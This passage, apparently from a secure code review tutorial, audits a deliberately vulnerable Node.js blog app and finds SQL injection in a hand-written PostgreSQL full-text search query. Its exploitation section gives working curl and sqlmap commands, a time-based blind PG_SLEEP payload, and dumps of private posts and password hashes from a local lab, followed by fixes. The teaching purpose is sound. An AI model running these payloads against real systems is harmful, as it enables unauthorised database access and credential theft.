JWT from the Authorization header or the token cookie, verifies it, loads the user from the database and sets req.user. If there's no valid token, it just moves on and leaves req.user empty: const optionalAuth = async (req, res, next) => { ... let token = null; const authHeader = req.headers.authorization; if (authHeader && authHeader.startsWith('Bearer ')) { token = authHeader.slice(7); } else if (req.cookies && req.cookies.token) { token = req.cookies.token; } if (!token) return next(); try { const decoded = jwt.verify(token, secret); const user = await db.findUserById(decoded.userId); if (user) { req.user = { id: user.id, username: user.username, email: user.email }; } } catch (_) {} next(); }; src/middleware/auth.js#L52-L76 So authentication is decided per handler, not by the middleware: every route that needs a logged-in user has to check req.user itself. All database access goes through one class, DatabaseStore in src/store/database.js, built on Knex. Both the JSON API and the HTML pages call the same store. The README calls them "the same data seen two ways". 🔄 Story 2: register → read → write → search Register and log in. Registration hashes the password with bcrypt (cost 10), creates the user and issues a JWT: const saltRounds = 10; const passwordHash = await bcrypt.hash(password, saltRounds); const user = await db.createUser(username, email, passwordHash); ... const token = issueToken(user); if (isWebForm(req)) { res.cookie('token', token, cookieOptions); return res.redirect('/my-posts'); } src/routes/auth.js#L58-L72 When the request comes from the web form, the token goes into a cookie with these options: const cookieOptions = { httpOnly: true, maxAge: 7 * 24 * 60 * 60 * 1000, path: '/', sameSite: 'lax' }; src/routes/auth.js#L21-L26 Read the feed. The feed query is built with the Knex builder, and the privacy rule ("public, or mine") is part of the WHERE clause: async getFeedPosts(userId, limit = 50) { const q = knex('posts as p') .join('users as u', 'p.user_id', 'u.id') .orderBy('p.created_at', 'desc') .limit(limit) .select('p.*', 'u.username as author_username'); if (userId) { q.where((builder) => { builder.where('p.is_private', false).orWhere('p.user_id', userId); }); } else { q.where('p.is_private', false); } ... } src/store/database.js#L66-L81 Read a single post. This one fetches the post by ID first, then checks privacy on the result: const post = await db.getPostById(req.params.id); if (!post) return res.status(404).json({ error: 'Post not found' }); if (post.isPrivate && (!req.user || req.user.id !== post.userId)) { return res.status(403).json({ error: 'Access denied' }); } src/routes/posts.js#L49-L53 Write, edit, delete. Every mutating handler follows the same pattern: require a login, load the post, compare owners: router.patch('/:id', async (req, res) => { ... if (!req.user) return res.status(401).json({ error: 'Authentication required' }); ... const existing = await db.getPostById(req.params.id); if (!existing) return res.status(404).json({ error: 'Post not found' }); if (existing.userId !== req.user.id) { return res.status(403).json({ error: 'Access denied' }); } src/routes/posts.js#L78-L86 …and the store scopes the write by owner a second time: const updated = await knex('posts') .where({ id: postId, user_id: userId }) .update({ ...data, updated_at: knex.fn.now() }) src/store/database.js#L101-L110 Search. The search route takes q from the query string and passes it to the store, along with the user ID if someone is logged in. No login is required: router.get('/search', async (req, res) => { ... const q = req.query.q; const userId = req.user ? req.user.id : null; const posts = await db.searchPosts(q, userId); res.json({ posts }); src/routes/posts.js#L33-L39 The web UI has the same thing at GET /search (pages.js#L48-L59). searchPosts uses PostgreSQL full-text search (to_tsvector, plainto_tsquery, ts_rank) to rank results by relevance. These functions aren't first-class in the Knex builder, so this is the only query in the store that's written by hand and passed to knex.raw. We'll look at it closely in step 4/5. 🧠 The key observation from step 1 Every query in the app goes through the Knex builder except one: getFeedPosts → knex('posts').where(...) builder ✔ getPostById → knex('posts').where(...) builder ✔ updatePost → knex('posts').where(...) builder ✔ deletePost → knex('posts').where(...) builder ✔ searchPosts → knex.raw(`...`) hand-written SQL ⚠️ Knex keeps you safe from SQL injection only as long as values go through it as bindings. The one place the developer stepped outside the builder is the place to slow down. --- 2. 🚪 Entry points Auth API - POST /api/auth/register: public, takes username, email, password, web - POST /api/auth/login: public, takes username, password, web Posts API - GET /api/posts/feed: optional auth, no other input - GET /api/posts/mine: login required, no other input - GET /api/posts/search?q=: optional auth, takes q - GET /api/posts/:id: optional auth (private posts → owner only), takes id - POST /api/posts: login required, takes title, body, is_private - PATCH /api/posts/:id: owner only, takes id, title, body, is_private - DELETE /api/posts/:id: owner only, takes id Web UI - GET /, GET /my-posts, GET /login, GET /register, GET /logout: an error query parameter on login/register - GET /search?q=: optional auth, takes q - GET /posts/new, GET /posts/:id, GET /posts/:id/edit, GET /posts/:id/delete: take id - POST /posts, POST /posts/:id, POST /posts/:id/delete: form fields title, body, is_private On every request: the Authorization header and the token cookie. 3. 🎯 Dangerous sinks - S1: SQL queries built with the Knex query builder → SQL injection. Fed from usernames, emails, post fields, :id and the JWT's userId. - S2: raw SQL passed to knex.raw (full-text search) → SQL injection. Fed from q. - S3: HTML rendering with Nunjucks → XSS. Fed from post titles and bodies, usernames, the search term and the error query parameter. - S4: redirects (/posts/${post.id}, /register?error=…) → open redirect. --- 4 & 5. 🧩 Threat model & 🔍 mitigation review 🔓 Business logic Missing authentication on mutating routes ✅. Since optionalAuth never blocks, each handler has to check for itself. Every POST, PATCH and DELETE on /api/posts starts with if (!req.user) return 401 (posts.js#L63, #L80, #L103), and every mutating page handler redirects to /login. IDOR on edit and delete ✅. Every handler compares existing.userId !== req.user.id before acting, and the store scopes the write with .where({ id: postId, user_id: userId }) too. That's two layers of defense. Private posts leaking through reads ✅ (on paper). There are three ways to read posts, and each one enforces "public, or mine": - Single post: fetched by ID, then checked on the result (post.isPrivate && req.user.id !== post.userId → 403). - Feed: the privacy rule is in the Knex builder's WHERE. - Search: the hand-written SQL has the same rule, WHERE (p.is_private = false OR p.user_id = ?). Keep this one in mind: the rule is only as strong as the SQL string it lives in. Mass assignment ✅. Can I create or edit a post so it looks like someone else wrote it? Only if user_id can come from the request. It can't: create and update copy only title, body and is_private from the body, and the owner always comes from req.user.id: const { title, body, is_private: isPrivate } = req.body; const updates = {}; if (title !== undefined) updates.title = title; if (body !== undefined) updates.body = body; if (isPrivate !== undefined) updates.is_private = isPrivate; src/routes/posts.js#L87-L91 CSRF ✅. The web UI uses cookie auth and plain HTML form POSTs with no CSRF token. The control here is the cookie's sameSite: 'lax': per MDN, the browser doesn't send a Lax cookie on cross-site POSTs, so a form forged on another site arrives unauthenticated. That's good enough in modern browsers, with the caveat that SameSite works per site, so a sibling subdomain isn't stopped (OWASP treats it as defense in depth). JWT and password weaknesses ✅. Tokens are signed and verified with the secret. With jsonwebtoken 9.x, unsigned alg: none tokens are refused by default, and the HMAC secret can't be swapped for a public key (v9 migration notes). The user is reloaded from the database on every request, and passwords are hashed with bcrypt. 💉 Source-to-sink S3, XSS ✅. Every value reaches the templates through {{ … }}, and autoescape: true makes Nunjucks HTML-escape & < > " '. That covers both element content (<p>{{ post.body }}</p>) and the quoted attribute in the search box (value="{{ query }}"). No template uses the | safe filter to turn escaping off. S4, open redirect ✅. An open redirect needs the destination to come from user input. Every redirect here goes to a hard-coded relative path (/login, /my-posts, /posts/<id>). The only user-controlled part is a post ID, which has to exist and pass the owner check first, and since posts.id is an integer column, //evil.com fails in Postgres before the redirect is ever reached. S1, SQL injection through the Knex builder ✅. .where('p.id', postId), .insert({...}), .update({...}): the builder sends every value as a bound parameter, never as SQL text. S2, SQL injection in the raw full-text search query ❌. Here's the query: async searchPosts(query, userId) { if (!query || typeof query !== 'string') { return this.getPublicPosts(20); } const uid = userId || null; const sql = ` SELECT p.*, u.username AS author_username FROM posts p JOIN users u ON p.user_id = u.id WHERE (p.is_private = false OR p.user_id = ?) AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}') ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC LIMIT 50 `; const result = await knex.raw(sql, [uid]); ... } src/store/database.js#L117-L134 Look at the two values in it: - The user ID is a ? placeholder, passed to knex.raw in the bindings array. That's safe. - The search term is pasted in with a JavaScript template literal, '${query}', twice. JavaScript substitutes it before Knex ever sees the string, so to knex.raw it's indistinguishable from SQL the developer wrote. Knex's raw docs are clear that only ? bindings are escaped. The only check on q is typeof query !== 'string', which stops arrays and objects but not quotes. And the privacy rule (p.is_private = false OR p.user_id = ?) is in the same SQL string, so anyone who can inject SQL there can override it. > 💡 Reviewer's lesson: a safe library protects only the queries that go through it. Hunt for the escape hatches (raw, whereRaw, orderByRaw), and in each one check that every value is a binding, not just the one that looks like it was done right. Unusual features, like full-text or vector search, are exactly where developers step off the safe path. --- 6. 🧪 Exploitation Why the classic payload fails The textbook test is x') OR 1=1 --. Here it returns a 500: $ curl -s -G http://localhost:3000/api/posts/search --data-urlencode "q=x') OR 1=1 --" {"error":"Internal server error"} The app log shows why. The term lands in two places. The payload closes the first one cleanly, but the -- comment in the second one swallows the closing brackets of the ORDER BY: ORDER BY ts_rank(to_tsvector(...), plainto_tsquery('english', 'x') OR 1=1 --')) DESC LIMIT 50 - syntax error at or near "LIMIT" A 500 doesn't mean "not exploitable". It means the payload has to be valid SQL in both places. You don't need to be an expert at building SQL injection payloads to get there, because you can automate it. The setup A victim, Alice, has a public post and a private one. Bob has a weak password: B=http://localhost:3000/api curl -s -X POST $B/auth/register -H Content-Type:application/json \ -d '{"username":"alice","email":"alice@example.com","password":"alicepass123"}' A=$(curl -s -X POST $B/auth/login -H Content-Type:application/json \ -d '{"username":"alice","password":"alicepass123"}' | jq -r .token) curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \ -d '{"title":"Hello world","body":"My first public post on Blogger."}' curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \ -d '{"title":"Acquisition plans","body":"Secret: we are buying Initech next quarter.","is_private":true}' curl -s -X POST $B/auth/register -H Content-Type:application/json \ -d '{"username":"bob","email":"bob@example.com","password":"password"}' Control: the private post is protected everywhere else: $ curl -s $B/posts/2 {"error":"Access denied"} $ curl -s -G $B/posts/search --data-urlencode "q=acquisition" {"posts":[]} Every command below runs without any token or cookie. The attacker doesn't need an account. Step 1: let sqlmap find a payload that works sqlmap tries hundreds of payloads until one works: $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 --is-dba ... [10:20:49] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be SQL injectable ... [10:20:55] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable ... Parameter: q (GET) Type: time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: q=1'||(SELECT (CHR(89)||CHR(114)||CHR(84)||CHR(66)) WHERE 3661=3661 AND 7927=(SELECT 7927 FROM PG_SLEEP(1)))||' --- back-end DBMS: PostgreSQL current user is DBA: True [10:21:08] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 584 times What the options do: - -u "…/search?q=1": the target URL, with a normal value for the parameter - -p q: test only the q parameter - --level=5 --risk=3: try sqlmap's full set of payloads, including the heavier ones - --dbms=PostgreSQL: skip payloads for other databases (we know it's Postgres from docker-compose.yml) - --batch: accept the default answer to every prompt - --time-sec 1: how long the database sleeps for a "yes" (the default is 5) - --is-dba: check whether the database user is a superuser How to read the output: - "might not be SQL injectable": sqlmap's quick first check looks for a database error in the page and finds none, because the app hides errors behind a generic 500. A manual tester could stop here. sqlmap keeps going. - 584 × 500 errors: most payloads break the SQL, partly because the term lands twice. - The payload that works doesn't break out of the string. It glues a sub-query onto it with Postgres's || (string concatenation), so the quotes stay balanced and it's valid SQL in both places. The sub-query makes the database sleep when a condition is true. - Time-based blind: the search results never visibly change, so sqlmap asks yes/no questions ("is the first letter of the first username a?") and times each response. A 1-second delay means yes. It's slow, but it's fully automatic. (PortSwigger explains the technique.) - current user is DBA: True: the app connects as the superuser the postgres image created, so the injection has full database privileges. If you want to understand how payloads like these are built, PayloadsAllTheThings' PostgreSQL injection page is a good reference. Step 2: read Alice's private post $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 \ --dump -D public -T posts -C title,body --where "is_private=true" ... Database: public Table: posts +-------------------+---------------------------------------------+ | title | body | +-------------------+---------------------------------------------+ | Acquisition plans | Secret: we are buying Initech next quarter. | +-------------------+---------------------------------------------+ Step 3: dump the users table $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 \ --dump -D public -T users -C username,password_hash ... +----------+--------------------------------------------------------------+ | username | password_hash | +----------+--------------------------------------------------------------+ | alice | $2b$10$b8z56oJRF405TWLN.HiFQuG1LnkzyUOpCJ9rxbWzsj80y81l6rn0K | | bob | $2b$10$/J2pPyfEzeISVD3fbQ77IutnM6iYAtQLb.ot6ugiSSehKaNMj4Tme | +----------+--------------------------------------------------------------+ sqlmap also offers a dictionary attack on the hashes it dumps. Bob's weak password (password) falls straight away. Alice's isn't in the wordlist, so her hash holds: bcrypt buys time, but only for passwords that aren't common. Impact: anyone on the internet, with no account, can read every private post, every username, email and password hash, and anything else in the database. Because the connection is a superuser, superuser-only functions like pg_read_file are available to the attacker too. Classification: SQL Injection, CWE-89, leading to a bypass of the privacy rule (CWE-639-style impact) and exposure of the users table. --- 7. 🛠️ The fix Primary fix: bind the search term instead of interpolating it. Replace both '${query}' with ? and pass the term in the bindings array, once for each placeholder: const sql = ` SELECT p.*, u.username AS author_username FROM posts p JOIN users u ON p.user_id = u.id WHERE (p.is_private = false OR p.user_id = ?) - AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}') - ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC + AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?) + ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC LIMIT 50 `; - const result = await knex.raw(sql, [uid]); + const result = await knex.raw(sql, [uid, query, query]); With the fix, sqlmap's sleep payload becomes plain search text and returns instantly: "hello" -> [{"id":1,"title":"Hello world"}] (63 ms) "1'||(SELECT 'x' FROM PG_SLEEP(3))||'" -> [] (1 ms) "acquisition" -> [] (1 ms) (anonymous caller: the private post stays hidden) plainto_tsquery is the right function for user text, because it parses free text and ignores operators. Once the value is bound, there's nothing left to inject. Even better: keep the query in the builder and only drop to raw SQL for the full-text expression, with bindings. The privacy filter then looks exactly like the feed's: knex('posts as p') .join('users as u', 'p.user_id', 'u.id') .where((b) => { b.where('p.is_private', false); if (uid) b.orWhere('p.user_id', uid); }) .whereRaw(`to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)`, [query]) .orderByRaw(`ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC`, [query]) .limit(50) .select('p.*', 'u.username as author_username'); Defense-in-depth (do these too): 1. Use a least-privilege database role. Don't connect as the superuser. An app role with only SELECT/INSERT/UPDATE/DELETE on users and posts limits what any injection can do. 2. Enforce privacy in the database with PostgreSQL Row-Level Security on posts, so a single buggy query can't return someone else's private rows. 3. Ban template literals in raw SQL with a lint or SAST rule, e.g. a custom Semgrep rule matching ` knex.raw(...${$X}...) and whereRaw(...${$X}...) ` in CI. In the video, Semgrep's default rules didn't flag this one, so you'd need a custom rule. 4. Cap the length of q and reject control characters. It's cheap, and it shrinks what any future bug can do. 5. Keep database errors generic (already done here), and alert on SQL syntax errors in the logs. The failed OR 1=1 -- attempts are a loud signal. --- 🌍 Real-world examples - Pre-Auth SQL Injection to RCE: Fortinet FortiWeb Fabric Connector (CVE-2025-25257) (watchTowr Labs). The researchers diffed two FortiWeb versions and found the fix had replaced a string-formatted query ("... where token='%s'") with a prepared statement. The input came from the Authorization: Bearer header on an endpoint that needs no login. Like Blogger's double insertion, the obvious payloads didn't work at first (no spaces, 128-character limit), so they adapted. Because the database ran with high privileges, they wrote a file to disk and got remote code execution. - Bypassing airport security via SQL injection (Ian Carroll & Sam Curry). A single ' in the FlyCASS login form returned a MySQL error. They confirmed the injection with sqlmap, logged in as an airline admin and added a made-up crew member who was approved for the programs that let crew skip airport security screening. It's a different query, with the same root cause: user input pasted into a SQL string. 📚 More resources - OWASP SQL Injection Prevention Cheat Sheet - OWASP Query Parameterization Cheat Sheet - Knex: raw queries & bindings - PostgreSQL: Row Security Policies - sqlmap and its usage wiki - PortSwigger Web Security Academy: SQL injection and Blind SQL injection --- 🎯 Takeaway A query builder doesn't make an app injection-proof. It only protects the queries that go through it. Blogger had dozens of safe queries and one hand-written search query, and that one was enough to read the whole database. Find the escape hatches (raw, whereRaw, orderByRaw) and check that every value in them is a binding. And when an injection "only errors", don't call it safe. Here the obvious test returned a 500, yet sqlmap turned it into a full database read without a single hand-written payload. --- 🔔 What's next Challenge #8: Employee Directory is live now. Can you find the bug before the solution drops? 👉 github.com/mohamed-osama-aboelkheir/the-secure-co… New challenges land every two weeks, and each drop includes the previous challenge's solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs. If you found the bug yourself, or took a different route to it, tell me in the comments 👇
・sqlmap sqlmapproject/sqlmap SQLインジェクションの検出・悪用を自動化する古典的かつ最強クラスのツール。データベース乗っ取りまで対応。